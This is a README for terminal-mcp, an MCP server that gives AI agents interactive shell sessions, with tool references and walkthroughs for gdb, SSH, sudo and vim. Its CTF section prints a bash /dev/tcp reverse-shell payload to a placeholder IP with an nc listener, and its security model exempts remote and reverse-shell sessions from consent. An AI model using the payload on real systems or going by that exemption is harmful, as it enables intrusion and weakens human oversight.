terminal-mcp 0.1.5

Model Context Protocol (MCP) server for long-lived shell execution.
terminal-mcp-0.1.5 is not a library.

terminal-mcp

MCP (Model Context Protocol) server for long-lived interactive shell sessions — designed for AI agents executing complex, multi-step workflows that require maintaining state, observing intermediate outputs, and adapting to unpredictable prompts.

Table of Contents

Core Philosophy

Two distinct execution modes, choose the right one:

Mode Tool When to use
One-shot exec Simple, non-blocking commands with deterministic output (ls, cat, curl, grep...). Process exits after execution.
Interactive loop shell_* Stateful, multi-turn operations requiring progressive observation and decision-making: REPLs, debuggers, remote shells, password prompts, full-screen TUI programs, reverse shell listeners.
For any scenario where you cannot predict the exact number of steps or must react to intermediate output, use the closed loop:
shell_spawn → shell_send_line → shell_output (or shell_wait_for) → (observe → decide → send_line/send_control/send_keys → observe ...) → shell_close

After every input-sending call (shell_send_line, shell_send, shell_send_control, shell_send_keys, shell_move_cursor), you must call shell_output / shell_wait_for (pipe mode) or shell_snapshot (PTY mode) to confirm the state before deciding the next step. Never batch commands speculatively — this holds true even when driving full-screen TUI programs, where it is easy to be tempted into sending several keystrokes at once assuming you already know what the screen will look like.

Features

  • One-shot executionexec with configurable shell interpreter (bash/sh/zsh/python/node...), timeout, and non-blocking output capture
  • Stateful interactive sessions — Full lifecycle management across 16 shell_* tools: spawn, send, send-line, send-control, send-keys, output, wait-for, snapshot, cursor-position, move-cursor, resize, list, exists, reset, close, close-all
  • Long-running process supportshell_wait_for with pattern matching and timeout for uncertain-duration commands (gdb continue, SSH handshake, large downloads); poll-based observation as fallback
  • PTY (Pseudo-Terminal) mode by default — Every interactive session runs in a real terminal (pty=true no longer exists as an option; it is always on). This supports programs that rely on terminal semantics (sudo prompts, colored output, tty-sensitive tools). Observe the rendered screen (with cursor position) via shell_snapshot, or actually drive full-screen TUI programs (vim/nano/htop/less/whiptail/menuconfig) via shell_send_keys + shell_cursor_position + shell_move_cursor + shell_resize
  • ANSI-stripped outputshell_output / shell_wait_for always strip escape/control sequences from raw incremental text before returning/matching it, since the PTY byte stream is heavily interleaved with cursor/color codes. When you need the actual rendered layout (line wraps, overwritten redraws), use shell_snapshot
  • Built-in prompt templates — Guided step-by-step workflows for GDB/pwndbg debugging, SSH connections, and CTF reverse shell listener setup
  • Resource documentation — Inline guides via guide://shell/* URIs (security policy, lifecycle basics, PTY guide, TUI-driving guide, per-scenario recipes)
  • Shell blacklist — Blocks direct invocation of interactive programs (gdb, ssh, mysql, psql, etc.) as interpreters; enforces the correct spawn-bash-then-send pattern
  • Audit logging — Every command invocation recorded as structured JSON (trace ID, timing, shell/tag/input, success/failure) to daily rolling logs

Architecture

MCP Client (AI Agent / LLM)
│
│ JSON-RPC over stdin/stdout
▼
┌──────────────────────────────────────┐
│  rmcp Server (TerminalMcpService)    │
│  ┌────────────────────────────────┐  │
│  │ @tool  » exec                  │  │
│  │ @tool  » shell_spawn           │  │
│  │ @tool  » shell_send            │  │
│  │ @tool  » shell_send_line       │  │
│  │ @tool  » shell_send_control    │  │
│  │ @tool  » shell_send_keys       │  │
│  │ @tool  » shell_output          │  │
│  │ @tool  » shell_wait_for        │  │
│  │ @tool  » shell_snapshot        │  │
│  │ @tool  » shell_cursor_position │  │
│  │ @tool  » shell_move_cursor     │  │
│  │ @tool  » shell_resize          │  │
│  │ @tool  » shell_list            │  │
│  │ @tool  » shell_exists          │  │
│  │ @tool  » shell_reset           │  │
│  │ @tool  » shell_close           │  │
│  │ @tool  » shell_close_all       │  │
│  ├────────────────────────────────┤  │
│  │ @prompt » usage/gdb/ssh/rev    │  │
│  ├────────────────────────────────┤  │
│  │ Resources » guide://shell/*    │  │
│  └────────────────────────────────┘  │
│  ┌────────────────────────────────┐  │
│  │ Session Store (pty)            │  │
│  │ DashMap<tag, Arc<Mutex<Shell>> │  │
│  └────────────────────────────────┘  │
│  ┌────────────────────────────────┐  │
│  │ audit::with_audit()            │  │
│  │  → JSON logs per command       │  │
│  └────────────────────────────────┘  │
└──────────────────────────────────────┘

Quick Start

Install

cargo install terminal-mcp

The binary terminal-mcp will be placed in ~/.cargo/bin/. Ensure this directory is in your PATH.

Build from Source

git clone https://github.com/ZEROLINGG/terminal-mcp
cd terminal-mcp
cargo build --release

Binary at target/release/terminal-mcp.

All interactive sessions run in PTY (pseudo-terminal) mode — no special build flags or runtime options are needed.

Configure MCP Client

Add to your MCP client configuration (e.g., opencode.json):

{
  "mcpServers": {
    "terminal-mcp": {
      "command": "terminal-mcp"
    }
  }
}

Environment Variables

Variable Default Description
RUST_LOG warn,audit=info Log level filter. The audit=info target is what drives the structured audit trail described in Audit Logs; lowering it will suppress audit records.

Interactive Session Lifecycle

The shell_* family (16 tools) provides fine-grained control over long-lived processes. Understanding the lifecycle is critical for reliable multi-step automation.

Tag-based Sessions

Each interactive session is identified by a user-defined tag (e.g., "py1", "gdb1", "ssh1"). Tags allow running multiple independent sessions concurrently.

Tool Chain

  1. shell_spawn(shell, tag) — Create a session with the specified interpreter (bash/sh/zsh/python/node...). Every session runs in PTY (pseudo-terminal) mode with a default window size of 100x40. Interactive programs like gdb/ssh must NOT be passed directly as shell; spawn bash first, then send the program as a command.

  2. shell_send_line(input, tag) — Send a command with a trailing newline (equivalent to pressing Enter). Returns "sent" immediately without output — always follow with shell_output / shell_wait_for / shell_snapshot.

  3. shell_send(input, tag) — Send raw bytes without a trailing newline. Not recommended for control characters — use shell_send_control instead.

  4. shell_send_control(tag, key) — Send a standard terminal control character. "C" = Ctrl+C (interrupt), "D" = Ctrl+D (EOF), "Z" = Ctrl+Z (suspend), "?" = DEL. Clearer and safer than embedding raw bytes.

  5. shell_send_keys(tag, keys) — Send an ordered sequence of literal text and/or special keys ([Up], [Down], [Left], [Right], [Home], [End], [PageUp], [PageDown], [Insert], [Delete], [Tab], [BackTab], [Enter], [Escape], [Backspace], [F1]..[F12]) as a single burst. Use for shell-history recall, in-line editing, tab-completion, menu navigation, and driving full-screen TUI programs together with shell_snapshot. Unknown bracket tags return an explicit error rather than being silently sent as text. See Driving Full-Screen TUI Programs and guide://shell/tui.

  6. shell_output(tag, idle_ms?) — Read buffered stdout/stderr. Waits until output is silent for idle_ms (default 200ms) before returning incremental output. Escape/control sequences (colors, cursor movement, screen-clearing, etc.) are always stripped from the returned text. Note that stripping escape codes is not the same as reconstructing the rendered screen (no line-wrap/overwrite resolution) — once you need the actual on-screen layout, switch to shell_snapshot. Must be called after every send_line to confirm state (or use shell_wait_for).

  7. shell_wait_for(tag, substring, timeout_ms?) — Block until substring appears in stdout/stderr or timeout elapses (default 5000ms). ANSI sequences are stripped from stdout/stderr before both the substring match and the returned text are computed, so a plain-text substring matches even when interrupted by embedded escape codes. Returns stdout, stderr, and a matched boolean (false = timed out without seeing the pattern). Prefer this over repeated shell_output calls for uncertain-duration commands.

  8. shell_snapshot(tag, idle_ms?) — Get a rendered virtual terminal screen snapshot plus the current cursor position. Returns { "screen": "...", "cursor": {"row":.., "col":..} } (cursor 0-based, null if unavailable). Always prefer this over shell_output/ANSI stripping to understand the program's actual on-screen state, including inside full-screen TUI programs — stripping ANSI codes from raw output only removes escape bytes, it does not reconstruct the true rendered layout the way this tool does.

  9. shell_cursor_position(tag) — Get just the current cursor (row, col; 0-based) without a full screen payload. Cheaper than shell_snapshot when you only need the caret/selection position.

  10. shell_move_cursor(tag, row, col) — Move the cursor to an absolute 1-based (row, col) position via a standard ANSI CUP sequence. Only affects where subsequently sent characters land; does not by itself trigger program behavior (unless the running program itself reads cursor-addressed input, as some TUI programs do).

  11. shell_resize(tag, cols, rows) — Dynamically resize an already-running session's terminal window without losing session state. Use when a column/row-sensitive program needs a different size mid-session. cols/rows must both be >= 1.

  12. shell_reset(tag) — Force-restart a session when stuck in an infinite loop or hung state.

  13. shell_close(tag) — Terminate and remove a session. Always close sessions when done to prevent zombie processes.

  14. shell_close_all — Cleanup all active sessions at once.

  15. shell_list — List all active tags with shell paths, PTY status/window size, truncation info, and busy state.

  16. shell_exists(tag) — Check if a given tag is currently active.

Output Polling for Long-Running Commands

For operations with uncertain execution time (gdb continue, SSH handshake, large file downloads, long compilations):

  • Use shell_wait_forshell_wait_for(tag, substring, timeout_ms) blocks until the expected keyword appears or the timeout elapses, reducing the number of interaction turns. The response includes a matched field indicating whether the pattern was actually seen.
  • Fallback to polling — if no specific keyword is known in advance, call shell_output with a larger idle_ms (2000–5000ms) and poll again rather than waiting indefinitely in a single call
  • Never batch commands — always read output before deciding the next action

Limitations

  • Rendered layout vs stripped text: shell_output/shell_wait_for return ANSI-stripped plain text, which does not reconstruct the true on-screen layout (line wrapping, overwritten redraws, cursor-positioned content). For the actual rendered screen, always use shell_snapshot.
  • Full-screen TUI interaction IS supported via shell_snapshot + shell_send_keys + shell_cursor_position + shell_move_cursor + shell_resize. See Driving Full-Screen TUI Programs and guide://shell/tui for the required send→snapshot→decide workflow.
  • No real-time interaction: The tool always works by "send → observe → decide". It cannot perform continuous real-time interaction that requires responding to a changing screen at human speed. Never chain many key-sends assuming you already know what the screen will look like several steps ahead — this applies doubly inside full-screen TUI programs, where terminal size, current mode, or timing can all change the outcome.

Scenarios

GDB / pwndbg Debugging

A stateful debugging session where every next instruction depends on observing register state, breakpoint hits, and program flow.

shell_spawn(shell="bash", tag="gdb1")
shell_send_line(input="gdb ./target_binary", tag="gdb1")
shell_output(tag="gdb1", idle_ms=1000)         ← confirm (gdb) prompt
shell_send_line(input="break main", tag="gdb1")
shell_output(tag="gdb1")                       ← confirm breakpoint set
shell_send_line(input="run", tag="gdb1")
shell_wait_for(tag="gdb1", substring="Breakpoint", timeout_ms=5000)  ← wait for breakpoint hit
shell_send_line(input="next", tag="gdb1")                           ← single-step
shell_output(tag="gdb1")
shell_send_line(input="print var", tag="gdb1")                      ← inspect variable
shell_output(tag="gdb1")
shell_close(tag="gdb1")

Key points:

  • continue/run have uncertain execution time — use shell_wait_for(tag, substring, timeout_ms) with an appropriate pattern (e.g., "Breakpoint"/"hit"/"exited"); if it times out, call again
  • pwndbg may have long startup delay while loading debug symbols — poll shell_output repeatedly or use shell_wait_for targeting the (gdb)/pwndbg> prompt
  • gdb is NOT a valid shell value for shell_spawn — spawn bash first, then send gdb ... as a command

SSH Remote Connection

Multi-turn interactive login with unpredictable intermediate prompts (host key, password, or key-auth skip).

shell_spawn(shell="bash", tag="ssh1")
shell_send_line(input="ssh user@host", tag="ssh1")
shell_output(tag="ssh1", idle_ms=1500)
  → "continue connecting (yes/no)?" → shell_send_line("yes")
  → "password:"                    → shell_send_line(password)
  → appears remote prompt          → key auth passed, proceed

After login, every subsequent shell_send_line executes on the remote host until you explicitly send_line("exit") to return to the local shell. Always shell_close(tag="ssh1") when finished. ssh is also NOT a valid shell value for shell_spawn.

sudo Password Handling

shell_spawn(shell="bash", tag="b1")
shell_send_line(input="sudo apt update", tag="b1")
shell_output(tag="b1")
  → "[sudo] password for ..." → shell_send_line(password)
shell_output(tag="b1", idle_ms=1000)          ← increase for slow commands
shell_close(tag="b1")

If shell_output shows nothing after sending the sudo command (no password prompt), prefer shell_snapshot over shell_output to check for the prompt. See guide://shell/pty.

Driving Full-Screen TUI Programs

Every session runs in PTY mode, so the full pty toolkit (shell_snapshot, shell_cursor_position, shell_send_keys, shell_move_cursor, shell_resize) is always available and supports actually operating full-screen redraw-based programs — vim, nano, htop, less, whiptail/dialog wizards, menuconfig-style configuration tools, and similar — not just observing them. The interaction model is still strictly turn-based (send → snapshot → decide), never true real-time keystroke-by-keystroke human interaction.

Example: edit a file with vim.

shell_spawn(shell="bash", tag="t1")                ← default 100x40
shell_send_line(input="vim file.txt", tag="t1")
shell_snapshot(tag="t1", idle_ms=300)                  ← ALWAYS use snapshot, never shell_output, inside vim
  → inspect "screen" text + "cursor" position

shell_send(input="ihello world", tag="t1")             ← enter insert mode, type text
shell_snapshot(tag="t1", idle_ms=300)                  ← confirm text was inserted correctly

shell_send_keys(tag="t1", keys=["[Escape]"])           ← back to normal mode
shell_send_line(input=":wq", tag="t1")                 ← save and quit
shell_output(tag="t1", idle_ms=500)                    ← confirm back at the shell prompt

shell_close(tag="t1")

Key points:

  • Never send a long chain of keys assuming you already know the exact screen several steps ahead — re-snapshot after every action.
  • If rendering looks broken, call shell_resize(tag, cols, rows) and re-snapshot rather than guessing blind.
  • If truly stuck (garbled screen, unresponsive program), use shell_send_control(tag, key="C") or shell_reset as escape hatches instead of looping indefinitely.
  • Prefer exiting through the program's own proper quit sequence (:wq/:q! in vim, q in htop/less, Cancel/Exit in whiptail) before shell_close, though shell_close will still forcibly terminate the session if needed.
  • guide://shell/security still applies in full: if a TUI interaction ends up performing a Rule-2 action (saving a system-altering config change, applying a persistent/destructive change via a menuconfig-like tool), it requires the same explicit user consent as running that action from a plain command line.

See guide://shell/tui and guide://shell/pty for the complete guidance.

CTF Reverse Shell Listener

Setting up a local nc listener and stabilizing a reverse connection from a target machine.

Listener side (on the agent's machine):

shell_spawn(shell="bash", tag="listener")
shell_send_line(input="nc -lvnp 4444", tag="listener")
shell_output(tag="listener", idle_ms=500)     ← expect "listening on [any] 4444"

Target side (delivered through a web shell / RCE, not via this tool directly):

Payload example:

bash -i >& /dev/tcp/<ip>/4444 0>&1

After connection established — the listener session becomes the target's shell:

shell_wait_for(tag="listener", substring="$", timeout_ms=5000)   ← wait for target prompt
shell_send_line(input="python3 -c 'import pty;pty.spawn(\"/bin/bash\")'", tag="listener")
shell_send_line(input="export TERM=xterm", tag="listener")

All subsequent commands execute on the target. Observe output before each next step. shell_close(tag="listener") when done.

nc here is run as an ordinary command inside the bash session — it is not passed to shell_spawn as the shell value.

Tools Reference

Tool Description Key Parameters
exec One-shot command execution, process exits after completion input, shell (default: bash), timeout_ms?
shell_spawn Create an interactive session (always PTY mode, default 100x40) shell, tag
shell_send_line Send command + newline (most common) input, tag
shell_send Send raw bytes, no newline input, tag
shell_send_control Send terminal control character (^C, ^D, ^Z, DEL) tag, key
shell_send_keys Send special keys/text burst (arrows, Enter, Escape, F-keys, etc.) tag, keys
shell_output Read buffered stdout/stderr, ANSI sequences always stripped tag, idle_ms?
shell_wait_for Wait until substring appears in output (with timeout); ANSI stripped before matching tag, substring, timeout_ms?
shell_snapshot Get rendered terminal screen + cursor position tag, idle_ms?
shell_cursor_position Get current cursor position tag
shell_move_cursor Move cursor to absolute 1-based position via ANSI CUP tag, row, col
shell_resize Dynamically resize PTY window without losing state tag, cols, rows
shell_list List all sessions with PTY status/size and truncation info
shell_exists Check if a tag exists tag
shell_reset Kill and restart a session tag
shell_close Close a single session tag
shell_close_all Close all sessions

Prompt Templates

Built-in prompts generate step-by-step instructions for AI agents:

Prompt Parameters Description
shell_usage_guide Core principles: when to use exec vs interactive sessions
gdb_debug_session binary_path, tag? Full GDB/pwndbg debugging workflow
ssh_connect_session host, user, tag? SSH connection with multi-step authentication
reverse_shell_session attacker_ip, port?, tag? CTF reverse shell listener setup

Resources

Inline documentation accessible by AI agents via read_resource:

URI Content
guide://shell/security Security guidelines — must read first
guide://shell/basics Session lifecycle and best practices
guide://shell/pty PTY mode guide: sessions always run in a real terminal, preferring shell_snapshot, ANSI-stripping caveats
guide://shell/tui Driving full-screen TUI programs (vim/htop/less/whiptail/menuconfig)
guide://shell/gdb GDB/pwndbg debugging workflow
guide://shell/ssh SSH remote connection workflow
guide://shell/sudo sudo password/confirmation handling
guide://shell/reverse_shell Reverse shell listener workflow

Security Model

  • Audit trails: Every exec / shell_spawn / shell_send / shell_send_line / shell_send_control / shell_send_keys / shell_output / shell_wait_for / shell_snapshot / shell_cursor_position / shell_move_cursor / shell_resize / shell_reset / shell_close / shell_close_all call is fully recorded with command content, shell type, tag, and timing
  • Explicit consent: Destructive operations, privilege escalation, network exposure, and persistent changes require user approval before execution — this applies equally whether the action is triggered via a plain command line or via full-screen TUI interaction (e.g. saving a system-altering change inside a menuconfig-style tool)
  • Read-only by default: Commands like ls, cat, grep, ps, df that do not modify state can execute directly
  • PTY-specific operations are low-risk by themselves: shell_send_control / shell_send_keys / shell_cursor_position / shell_move_cursor / shell_resize only act on subprocess sessions created by this tool itself (identified by tag), not arbitrary system processes — their risk is comparable to normal command execution within the same session and does not by itself require elevated scrutiny, though forcibly interrupting a relied-upon task should still be communicated to the user
  • Remote operations: SSH sessions and reverse shells inherently operate on remote targets and are exempt from local consent requirements (unless they write to local disk or tunnel back to the local machine)

Full security policy available at guide://shell/security.

Audit Logs

All tool calls are logged as structured JSON to logs/terminal_audit.log (daily rolling) with:

  • trace_id — UUID v4 per invocation
  • action — tool name
  • shell, tag, input — command context (input reflects the semantic payload — e.g. ^C for control keys, a space-joined key sequence for shell_send_keys, (row,col) for shell_move_cursor, colsxrows for shell_resize)
  • begin / end events with duration and success/failure status

Contributing

Issues and pull requests are welcome — in particular around additional guide resources, prompt templates for new scenarios, and platform-specific PTY behavior. Please keep new tools/resources consistent with the existing "send → observe/snapshot → decide" discipline documented throughout the guides.

License

MIT